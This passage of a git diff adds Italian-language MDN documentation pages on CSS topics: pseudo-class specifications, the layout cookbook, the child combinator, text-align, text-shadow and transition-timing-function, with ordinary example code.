+   <td>{{SpecName("CSS3 Basic UI")}}</td>
+   <td>{{Spec2("CSS3 Basic UI")}}</td>
+   <td>Definiti <code>:default</code>, <code>:valid</code>, <code>:invalid</code>, <code>:in-range</code>, <code>:out-of-range</code>, <code>:required</code>, <code>:optional</code>, <code>:read-only</code> and <code>:read-write</code>, ma senza l'associazione di significato semantico.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Selectors")}}</td>
+   <td>{{Spec2("CSS3 Selectors")}}</td>
+   <td>Definiti <code>:target</code>, <code>:root</code>, <code>:nth-child()</code>, <code>:nth-last-of-child()</code>, <code>:nth-of-type()</code>, <code>:nth-last-of-type()</code>, <code>:last-child</code>, <code>:first-of-type</code>, <code>:last-of-type</code>, <code>:only-child</code>, <code>:only-of-type</code>, <code>:empty</code> e <code>:not()</code>.<br>
+    Definita la sintassi di <code>:enabled</code>, <code>:disabled</code>, <code>:checked</code>, e <code>:indeterminate</code>, ma senza l'associazione di significato semantico.<br>
+    Nessun cambiamento significativo per le pseudo-classi definite nel {{SpecName('CSS2.1')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS2.1")}}</td>
+   <td>{{Spec2("CSS2.1")}}</td>
+   <td>Definiti <code>:lang()</code>, <code>:first-child</code>, <code>:hover</code>, e <code>:focus</code>.<br>
+    Nessun cambiamento significativo per le pseudo-classi definite nel {{SpecName('CSS1')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS1")}}</td>
+   <td>{{Spec2("CSS1")}}</td>
+   <td>Definiti <code>:link</code>, <code>:visited</code> e <code>:active</code>, ma senza l'associazione di significato semantico.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/Pseudo-elements">Pseudo-elements</a></li>
+</ul>
diff --git a/files/it/web/css/ricette_layout/index.html b/files/it/web/css/ricette_layout/index.html
new file mode 100644
index 0000000000..bbdee7472e
--- /dev/null
+++ b/files/it/web/css/ricette_layout/index.html
@@ -0,0 +1,60 @@
+---
+title: Ricette per layout in CSS
+slug: Web/CSS/Ricette_layout
+translation_of: Web/CSS/Layout_cookbook
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary">Lo scopo del ricettario per layout in CSS è quello di raccogliere schemi per layouts utili per le tue pagine. In aggiunta a ricevere codice per iniziare i propri progetti, queste ricette sottolineano le differenti modalità e decisioni nel design di layouts messe a disposizione per sviluppatori.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Se sei nuovo a sviluppare layouts in CSS consigliamo dare un ochhiata al nostro <a href="/en-US/docs/Learn/CSS/CSS_layout">CSS layout learning module</a>, che darà le basi per fare pieno uso delle seguenti ricette.</p>
+</div>
+
+<h2 id="Le_Ricette">Le Ricette</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Ricetta</th>
+   <th scope="col">Descrizione</th>
+   <th scope="col">Metodi di layout</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/Layout_cookbook/Media_objects">Oggetti media</a></td>
+   <td>Una scatola con due colonne avente un immagine su un lato e del testo descrittivo nell'altro, p.es: un post su facebook o un tweet.</td>
+   <td><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid</a>, {{cssxref("float")}} fallback, {{cssxref("fit-content")}} sizing</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/Layout_cookbook/Column_layouts">Colonne</a></td>
+   <td>Quando scegliere un layout a più colonne, un flexbox o una griglia per le colonne</td>
+   <td><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid</a>, <a href="/en-US/docs/Web/CSS/CSS_Columns">Multicol</a>, <a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout">Flexbox</a></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/Layout_cookbook/Center_an_element">Centrare un elemento</a></td>
+   <td>Come centrare un oggetto orizzontalmente e verticalmente</td>
+   <td><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout">Flexbox</a>, <a href="/en-US/docs/Web/CSS/CSS_Box_Alignment">Box Alignment</a></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/Layout_cookbook/Sticky_footers">Note a piè di pagina appiccicose</a></td>
+   <td>Creare una nota a piè di pagina che sta alla fine del container o del punto di vista attuale quando il contenuto è più corto. </td>
+   <td><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid</a>, <a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout">Flexbox</a></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/Layout_cookbook/Split_Navigation">Navigazione divisa</a></td>
+   <td>Uno schema nel quale alcuni link sono visualmente separati da altri.</td>
+   <td><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout">Flexbox</a>, {{cssxref("margin")}}</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/Layout_cookbook/Breadcrumb_Navigation">Navigazione a briciole</a></td>
+   <td>Creare una lista di links che perrmette il visitatore di navigare inditro nella gerarchia della pagina.</td>
+   <td><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout">Flexbox</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Contribuire_al_ricettario">Contribuire al ricettario</h2>
+
+<p>Come  con tutto il MDM ci piacerebbe se contribuisci ricette nello stesso formato a quelle mostrate sopra. <a href="/en-US/docs/user:chrisdavidmills/Layout_Cookbook_Home/Contribute_a_recipe">Guarda questa pagina</a> per trovare un template e delle linee guida per scrivere il tuo esempio.</p>
diff --git a/files/it/web/css/selettore_figli_diretti/index.html b/files/it/web/css/selettore_figli_diretti/index.html
new file mode 100644
index 0000000000..cf2903dbc9
--- /dev/null
+++ b/files/it/web/css/selettore_figli_diretti/index.html
@@ -0,0 +1,121 @@
+---
+title: Selettore di Figli Diretti
+slug: Web/CSS/selettore_figli_diretti
+tags:
+  - compinatori css
+  - selettore di figli diretti
+translation_of: Web/CSS/Child_combinator
+---
+<div>{{CSSRef("Selectors")}}</div>
+
+<div>Il combinatore<strong> </strong>"<strong>&gt;</strong>" separa due selettori selezionando solo quegli elementi selezionati con il secondo selettore che sono <strong>figli diretti </strong>del primo selettore.</div>
+
+<div> </div>
+
+<div>Al contrario, quando due selettori sono combinati con il <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Descendant_selectors">selettore discendente</a>, vengono selezionati tutti gli elementi che soddisfano il secondo selettore per il quale esiste un elemento antenato definito dal primo selettore, indipendentemente dal numero di "salti" attraverso l'albero DOM.</div>
+
+<div> </div>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">selettore1 &gt; selettore2 {<em>stili CSS</em> }
+</pre>
+
+<h2 id="Esempio">Esempio</h2>
+
+<pre class="brush: css">span { background-color: white; }
+div &gt; span {
+  background-color: DodgerBlue;
+}
+</pre>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;span&gt;Span 1. In the div.
+    &lt;span&gt;Span 2. In the span that's in the div.&lt;/span&gt;
+  &lt;/span&gt;
+  &lt;span&gt;Span 3. In the div&lt;/span&gt;
+&lt;/div&gt;
+
+&lt;span&gt;Span 4. Not in a div at all.&lt;/span&gt;
+</pre>
+
+<p>{{EmbedLiveSample("Example", 200, 100)}}</p>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#child-combinators', 'child combinator')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#child-combinators', 'child combinators')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>No change</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'selector.html#child-selectors', 'child selectors')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_tra_i_browser">Compatibilità tra i browser</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>supporto di base</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>7.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>supporto di base</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/it/web/css/text-align/index.html b/files/it/web/css/text-align/index.html
new file mode 100644
index 0000000000..281bf0d8fa
--- /dev/null
+++ b/files/it/web/css/text-align/index.html
@@ -0,0 +1,108 @@
+---
+title: text-align
+slug: Web/CSS/text-align
+translation_of: Web/CSS/text-align
+---
+<p>&lt;&lt; <a href="it/Guida_di_riferimento_ai_CSS">Guida di riferimento ai CSS</a></p>
+
+<h2 id="Sommario" name="Sommario">Sommario</h2>
+
+<p>La proprietà <code>text-align</code> indica come le linee di testo devono essere allineate tra loro. <code>text-align</code> non influisce sull'allineamento degli altri elementi, solo del loro contenuto <code>in-line</code>.</p>
+
+<ul>
+ <li>valore-iniziale: dipende dal browser utilizzato e dalla direzione del testo</li>
+ <li>Si applica a: tutti gli elementi di livello blocco</li>
+ <li>Eredità: si</li>
+ <li>Media: <a href="it/CSS/Media/visual">visual</a></li>
+ <li>Computed value:</li>
+</ul>
+
+<h2 id="Sintassi" name="Sintassi">Sintassi</h2>
+
+<pre class="brush: css line-numbers  language-css" dir="rtl"><code class="language-css"><span class="property token">text-align</span><span class="punctuation token">:</span> left<span class="punctuation token">;</span>
+<span class="property token">text-align</span><span class="punctuation token">:</span> right<span class="punctuation token">;</span>
+<span class="property token">text-align</span><span class="punctuation token">:</span> center<span class="punctuation token">;</span>
+<span class="property token">text-align</span><span class="punctuation token">:</span> justify<span class="punctuation token">;
+text-align: justify-all;</span></code>
+</pre>
+
+<h3 id="Valori" name="Valori">Valori</h3>
+
+<ul>
+ <li><strong>left</strong> : le righe si allineano al bordo sinistro dell'elemento che contiene il testo</li>
+ <li><strong>right</strong> : le righe si allineano al bordo destro dell'elemento che contiene il testo</li>
+ <li><strong>center</strong> : le righe sono centrate all'interno dell'elemento che contiene il testo</li>
+ <li><strong>justify</strong> : le righe sono lunghe uguali e sono quindi allineate ad entrambi i bordi dell'elemento (tranne l'ultima, generalmente più corta, che è allineata a sinistra)<br>
+  quindi è allineato in modo giustificato dell'elemento che contiene il testo</li>
+ <li><strong>justify-all</strong>: è come justify ma anche l'ultima riga è giustificata</li>
+</ul>
+
+<h2 id="Esempi" name="Esempi">Esempi</h2>
+
+<pre>p.left { text-align: left; }
+
+p.right { text-align: right; }
+</pre>
+
+<h3 id="Esempi_Live">Esempi Live</h3>
+
+<div style="text-align: center; border: solid; margin: 1em 0;">div { <strong>text-align: center</strong>; border:solid; }
+
+<p style="background: gold; width: 22em; margin: 1em 0;">p { background:gold; width:22em; }</p>
+e le altre righe di codice...</div>
+
+<div style="text-align: center; border: solid; margin: 1em 0;">div { <strong>text-align: center</strong>; border:solid; }
+
+<p style="background: gold; width: 22em; margin: 1em auto;">p { background:gold; width:22em; <strong>margin: 1em auto</strong>; }</p>
+e le altre righe di codice...</div>
+
+<div style="text-align: -moz-center; text-align: -webkit-center; border: solid; margin: 1em 0;">div { <strong>text-align:-moz-center</strong>; text-align:-webkit-center; border:solid; }
+
+<p style="background: gold; width: 22em; margin: 1em 0;">p { background:gold; width:22em; }</p>
+e le altre righe di codice...</div>
+
+<h3 id="Note" name="Note">Note</h3>
+
+<ul>
+ <li>La specifica CSS2 comprendeva un valore &lt;stringa&gt; che poi è stato eliminato dai CSS2.1 perchè mai implementato.</li>
+</ul>
+
+<h2 id="Specifiche" name="Specifiche">Specifiche</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS1#text-align">CSS 1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/text.html#alignment-prop">CSS 2.1</a></li>
+</ul>
+
+<h2 id="Compatibilit.C3.A0_coi_browser" name="Compatibilit.C3.A0_coi_browser">Compatibilità coi browser</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Browser</th>
+   <th>Versione minima supportata</th>
+  </tr>
+  <tr>
+   <td>Firefox (Gecko)</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td>Internet Explorer</td>
+   <td>3</td>
+  </tr>
+  <tr>
+   <td>Netscape</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>Opera</td>
+   <td>3.5</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Vedi_anche" name="Vedi_anche">Vedi anche</h2>
+
+<p><code><a href="it/CSS/text-indent">text-indent</a></code>, <code><strong>text-align</strong></code>, <code><a href="it/CSS/text-decoration">text-decoration</a></code>, <code><a href="it/CSS/letter-spacing">letter-spacing</a></code>, <code><a href="it/CSS/word-spacing">word-spacing</a></code>, <code><a href="it/CSS/text-transform">text-transform</a></code>, <code><a href="it/CSS/white-space">white-space</a></code>, <code><a href="it/CSS/white-space-collapse">white-space-collapse</a></code>, <code><a href="it/CSS/text-rendering">text-rendering</a></code>, <code><a href="it/CSS/text-wrap">text-wrap</a></code>, <code><a href="it/CSS/text-shadow">text-shadow</a></code>, <code><a href="it/CSS/margin">margin</a></code>, <code><a href="it/CSS/margin-left">margin-left</a></code>, <code><a href="it/CSS/margin-right">margin-right</a></code>, <code><a href="it/CSS/vertical-align">vertical-align</a></code>,</p>
+
+<p>{{ languages( { "en": "en/CSS/text-align", "fr": "fr/CSS/text-align" } ) }}</p>
diff --git a/files/it/web/css/text-shadow/index.html b/files/it/web/css/text-shadow/index.html
new file mode 100644
index 0000000000..fa04ed546b
--- /dev/null
+++ b/files/it/web/css/text-shadow/index.html
@@ -0,0 +1,122 @@
+---
+title: text-shadow
+slug: Web/CSS/text-shadow
+translation_of: Web/CSS/text-shadow
+---
+<p> </p>
+<div style="margin: 10px 0px; padding: 0px 10px; background-color: rgb(254, 244, 156); font-weight: bold; text-align: center;">
+ <p style="margin: 4px 0px;">Introdotto in Gecko 1.9.1</p>
+ <div>
+  Si applica a Firefox 3.5, Thunderbird 3 e superiori</div>
+</div>
+<p> </p>
+<div id="section_1">
+ <h3 class="editable" id="Sommario"><span>Sommario</span></h3>
+ <div class="editIcon">
+  <a href="/../../../../en/CSS/text-shadow#" style="" title="Edit section"><span class="icon"><img alt="Edit section" class="sectionedit" src="../../../../skins/common/icons/icon-trans.gif"></span></a></div>
+ <p>La proprietà CSS <span class="lang lang-en"><code><strong>text-shadow</strong></code></span> accetta una lista di effetti di ombreggiatura separata da virgole, che viene applicata al testo e alle  <span class="lang lang-en"><code><a href="../../../../en/CSS/text-decoration" rel="internal">text-decoration</a></code></span> dell'elemento.</p>
+ <ul>
+  <li><span class="lang lang-en"><a href="../../../../en/CSS/initial_value" rel="internal">Valore iniziale</a> </span>: <span class="lang lang-en"><code><a href="../../../../en/CSS/none" rel="internal">none</a></code></span></li>
+  <li>Si applica a: tutti gli elementi</li>
+  <li><span class="lang lang-en"><a href="../../../../en/CSS/inheritance" rel="internal">Ereditabile</a> </span>: sì</li>
+  <li>Percentuali: no</li>
+  <li>Media: <span class="lang lang-en"><span class="lang lang-en"><code><a href="../../../../en/CSS/Media/Visual" rel="internal">visual</a></code></span> </span></li>
+  <li><span class="lang lang-en"><a href="../../../../en/CSS/computed_value" rel="internal">Valore riconosciuto</a> </span>: un colore e tre lunghezze</li>
+ </ul>
+</div>
+<div id="section_2">
+ <h3 class="editable" id="Sintassi"><span>Sintassi</span></h3>
+ <div class="editIcon">
+  <a href="/../../../../en/CSS/text-shadow#" style="" title="Edit section"><span class="icon"><img alt="Edit section" class="sectionedit" src="../../../../skins/common/icons/icon-trans.gif"></span></a></div>
+ <pre>text-shadow: none | [&lt;shadow&gt;,]* &lt;shadow&gt;
+
+  dove &lt;shadow&gt; è:
+
+[ &lt;colore&gt; &lt;lunghezza&gt; &lt;lunghezza&gt; &lt;lunghezza&gt;? | &lt;lunghezza&gt; &lt;lunghezza&gt; &lt;lunghezza&gt;? &lt;colore&gt;? ]</pre>
+</div>
+<div id="section_3">
+ <h3 class="editable" id="Valori"><span>Valori</span></h3>
+ <div class="editIcon">
+  <a href="/../../../../en/CSS/text-shadow#" style="" title="Edit section"><span class="icon"><img alt="Edit section" class="sectionedit" src="../../../../skins/common/icons/icon-trans.gif"></span></a></div>
+ <dl>
+  <dt>
+   &lt;colore&gt;</dt>
+  <dd>
+   Opzionale, prima o dopo i valori di <span class="lang lang-en"><span class="lang lang-en"><code><a href="../../../../en/CSS/length" rel="internal">&lt;lunghezza&gt;</a></code></span> </span>. Se il <span class="lang lang-en"><span class="lang lang-en"><code><a href="../../../../en/CSS/color_value" rel="internal">&lt;colore&gt;</a></code></span> </span>non è specificato, viene usato un colore predefinito. Gecko/Firefox usa il valore della proprietà <span class="lang lang-en"><code><a href="../../../../en/CSS/color" rel="internal">color</a></code></span> dell'elemento. Gli altri browser potrebbero comportarsi diversamente.<span class="lang lang-en"> </span>
+   <div class="note">
+    <span class="lang lang-en"><strong>Nota:</strong> Specifica un colore per la compatibilità tra browser.</span></div>
+  </dd>
+  <dt>
+   &lt;lunghezza&gt; &lt;lunghezza&gt;</dt>
+  <dd>
+   Vedi <span class="lang lang-en"><span class="lang lang-en"><code><a href="../../../../en/CSS/length" rel="internal">&lt;length&gt;</a></code></span> </span>per le possibili unità di misura.<br>
+   Questi valori di <code>&lt;lunghezza&gt; </code>stabiliscono la distanza dell'ombreggiatura. Il primo parametro<code> &lt;lunghezza&gt; </code>specifica la distanza orizzontale. Valori negativi spostano l'ombreggiatura a sinistra del testo. Il secondo parametro<code> &lt;lunghezza&gt; </code>specifica la distanza verticale. Valori negativi spostano l'ompreggiatura sopra il testo. Se entrambi i valori sono <code>0</code> l'ombreggiatura si sposta dietro al testo (e potrebbe generare un effetto di sfocato se è specificato il terzo parametro<code> &lt;lunghezza&gt;</code>).</dd>
+ </dl>
+ <dl>
+  <dt>
+   &lt;lunghezza&gt;</dt>
+  <dd>
+   Opzionale. Il terzo parametro <span class="lang lang-en"><span class="lang lang-en"><code><a href="../../../../en/CSS/length" rel="internal">&lt;lunghezza&gt;</a></code></span> </span> specifica <em>il raggio dell'effetto sfocato</em>. Se non viene specificato, è <code>0</code>. Più alto è il valore, più grande è l'effetto sfocato, quindi l'ombreggiatura diventa più estesa e più chiara.</dd>
+ </dl>
+</div>
+<div id="section_4">
+ <h3 class="editable" id="Examples"><span>Examples</span></h3>
+ <div class="editIcon">
+  <a href="/../../../../en/CSS/text-shadow#" style="" title="Edit section"><span class="icon"><img alt="Edit section" class="sectionedit" src="../../../../skins/common/icons/icon-trans.gif"></span></a></div>
+ <p><a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=273985" rel="external nofollow" title="https://bugzilla.mozilla.org/attachment.cgi?id=273985">Esempio 1</a> <a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=197360" rel="external nofollow" title="https://bugzilla.mozilla.org/attachment.cgi?id=197360">Esempio 2</a> da Bugzilla</p>
+ <pre>  h1 { text-shadow: black 0 0 0.4em; }
+</pre>
+ <pre>  h2 { text-shadow: red 2px 2px 2px, blue 4px 4px 2px, 6px 6px, green 8px 8px; }
+</pre>
+</div>
+<div id="section_5">
+ <h3 class="editable" id="Specifiche"><span>Specifiche</span></h3>
+ <div class="editIcon">
+  <a href="/../../../../en/CSS/text-shadow#" style="" title="Edit section"><span class="icon"><img alt="Edit section" class="sectionedit" src="../../../../skins/common/icons/icon-trans.gif"></span></a></div>
+ <p>Nota: <code>text-shadow </code>era stata definita impropriamente in CSS2 e scartata in CSS2.1. La specifica <em>Text </em>di<em> CSS3</em> ha migliorato la sintassi.</p>
+ <ul>
+  <li><a class="external" href="http://www.w3.org/TR/css3-text/#text-shadow" rel="external nofollow" title="http://www.w3.org/TR/css3-text/#text-shadow">CSS 3 Text #text-shadow</a> Bozza, sono stati proposti alcuni cambiamenti.</li>
+ </ul>
+</div>
+<div id="section_6">
+ <h3 class="editable" id="Compatibilità_tra_browser"><span>Compatibilità tra browser</span></h3>
+ <div class="editIcon">
+  <a href="/../../../../en/CSS/text-shadow#" style="" title="Edit section"><span class="icon"><img alt="Edit section" class="sectionedit" src="../../../../skins/common/icons/icon-trans.gif"></span></a></div>
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <th>Browser</th>
+    <th>Versione più vecchia</th>
+   </tr>
+   <tr>
+    <td>Internet Explorer</td>
+    <td>No<br>
+     La versione 5.5  supporta il Filter <a class="external" href="http://msdn.microsoft.com/en-us/library/ms673539%28VS.85%29.aspx" rel="external nofollow" title="http://msdn.microsoft.com/en-us/library/ms673539(VS.85).aspx"><em>Shadow</em> e <em>DropShadow</em></a></td>
+   </tr>
+   <tr>
+    <td>Firefox (Gecko)</td>
+    <td><strong>3.5</strong> (1.9.1)</td>
+   </tr>
+   <tr>
+    <td>Opera</td>
+    <td><strong>9.5</strong></td>
+   </tr>
+   <tr>
+    <td>Safari (WebKit)</td>
+    <td><strong>1.1</strong> (100), ombreggiature multiple dalla versione 4.0 (528)</td>
+   </tr>
+  </tbody>
+ </table>
+ <p>Al momento di scrittura:</p>
+ <ul>
+  <li><strong>Opera 9.x</strong> supporta al massimo 6 ombreggiature, e aderisce al CSS2 per il colore (la prima ombreggiatura specificata è l'ultima).</li>
+  <li><strong>Gecko 1.9.1</strong> (Firefox 3.5) teoricamente supporta infinite ombreggiature (ma non provarci!) e aderisce al CSS3 per il colore (la prima ombra specificata è la prima).</li>
+ </ul>
+</div>
+<div id="section_7">
+ <h3 class="editable" id="Vedere_anche"><span>Vedere anche</span></h3>
+ <div class="editIcon">
+  <a href="/../../../../en/CSS/text-shadow#" style="" title="Edit section"><span class="icon"><img alt="Edit section" class="sectionedit" src="../../../../skins/common/icons/icon-trans.gif"></span></a></div>
+ <p><span class="lang lang-en"><code><a class="internal" href="/../../en/CSS/-moz-box-shadow" rel="internal" title="../../en/CSS/-moz-box-shadow">-moz-box-shadow</a></code></span></p>
+</div>
+<p> </p>
diff --git a/files/it/web/css/transition-timing-function/index.html b/files/it/web/css/transition-timing-function/index.html
new file mode 100644
index 0000000000..c99e5f5678
--- /dev/null
+++ b/files/it/web/css/transition-timing-function/index.html
@@ -0,0 +1,634 @@
+---
+title: transition-timing-function
+slug: Web/CSS/transition-timing-function
+translation_of: Web/CSS/transition-timing-function
+---
+<p>{{ CSSRef("CSS Transitions") }}</p>
+
+<h2 id="Sommario">Sommario</h2>
+
+<p>La proprietà <a href="/en-US/docs/CSS" title="/en-US/docs/CSS">CSS</a> <code>transition-timing-function</code> è usata per descrivere come gli stati intermedi delle proprietà CSS vengono modificati quando viene calcolato il risultato di un <a href="/en-US/docs/CSS/Tutorials/Using_CSS_transitions">effetto di transizione</a>. Ti permette di definire una curva di accelerazione, in modo che la velocità della transizione possa variare nell'arco della sua durata.</p>
+
+<p>Questa curva di accelerazione viene definita utilizzando uno {{cssxref("&lt;timing-function&gt;")}} per ogni proprietà che ottiene una transizione.</p>
+
+<p>È possibile specificare un numero arbitrario di funzioni di temporizzazione; ciasuna di queste sarà applicata alla corrispondente proprietà seguendo le specifiche in {{ cssxref("transition-property") }}, dove in questo caso si comporta come la lista principale.</p>
+
+<p>Se ci sono meno funzione specificate rispetto alle proprietà presenti nella lista, i valori mancanti saranno impostati a quello iniziale (<code>ease</code>). Se ci sono più funzioni di temporizzazione, i valori verranno applicati seguendo la lista principale e i valori in eccesso verranno semplicemente scartati. In entrambi i casi entrambe le dichiarazioni sono considerate valide.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="twopartsyntaxbox"><a href="/en-US/docs/CSS/Value_definition_syntax" title="CSS/Value_definition_syntax">Formal syntax</a>: {{csssyntax("transition-timing-function")}}
+</pre>
+
+<pre>transition-timing-function: ease
+transition-timing-function: ease-in
+transition-timing-function: ease-out
+transition-timing-function: ease-in-out
+transition-timing-function: linear
+transition-timing-function: cubic-bezier(0.1, 0.7, 1.0, 0.1)
+transition-timing-function: step-start
+transition-timing-function: step-end
+transition-timing-function: steps(4, end)
+
+transition-timing-function: ease, step-start, cubic-bezier(0.1, 0.7, 1.0, 0.1)
+
+transition-timing-function: inherit
+</pre>
+
+<h3 id="Valori">Valori</h3>
+
+<dl>
+ <dt><code>&lt;timing-function&gt;</code></dt>
+ <dd>Ciascun {{cssxref("&lt;timing-function&gt;")}} rappresenta una funzione di temporizzazione che dovrà essere linkata alla corrispondente proprietà che avrà la transizione, come definito in {{ cssxref("transition-property") }}.</dd>
+</dl>
+
+<h2 id="Esempi">Esempi</h2>
+
+<div>
+<div id="ttf_ease" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+<p><code>transition-timing-function: ease</code></p>
+
+<div style="display: none;">
+<pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+<pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: ease;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-timing-function: ease;
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: ease;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-timing-function: ease;
+}
+</pre>
+
+<pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+</div>
+
+<div>{{EmbedLiveSample("ttf_ease",275,150)}}</div>
+</div>
+
+<div id="ttf_easein" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+<p><code>transition-timing-function: ease-in</code></p>
+
+<div style="display: none;">
+<pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+<pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+     -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: ease-in;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-timing-function: ease-in;
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: ease-in;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-timing-function: ease-in;
+}
+</pre>
+
+<pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+</div>
+
+<div>{{EmbedLiveSample("ttf_easein",275,150)}}</div>
+</div>
+
+<div id="ttf_easeout" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+<p><code>transition-timing-function: ease-out</code></p>
+
+<div style="display: none;">
+<pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+<pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: ease-out;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-timing-function: ease-out;
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
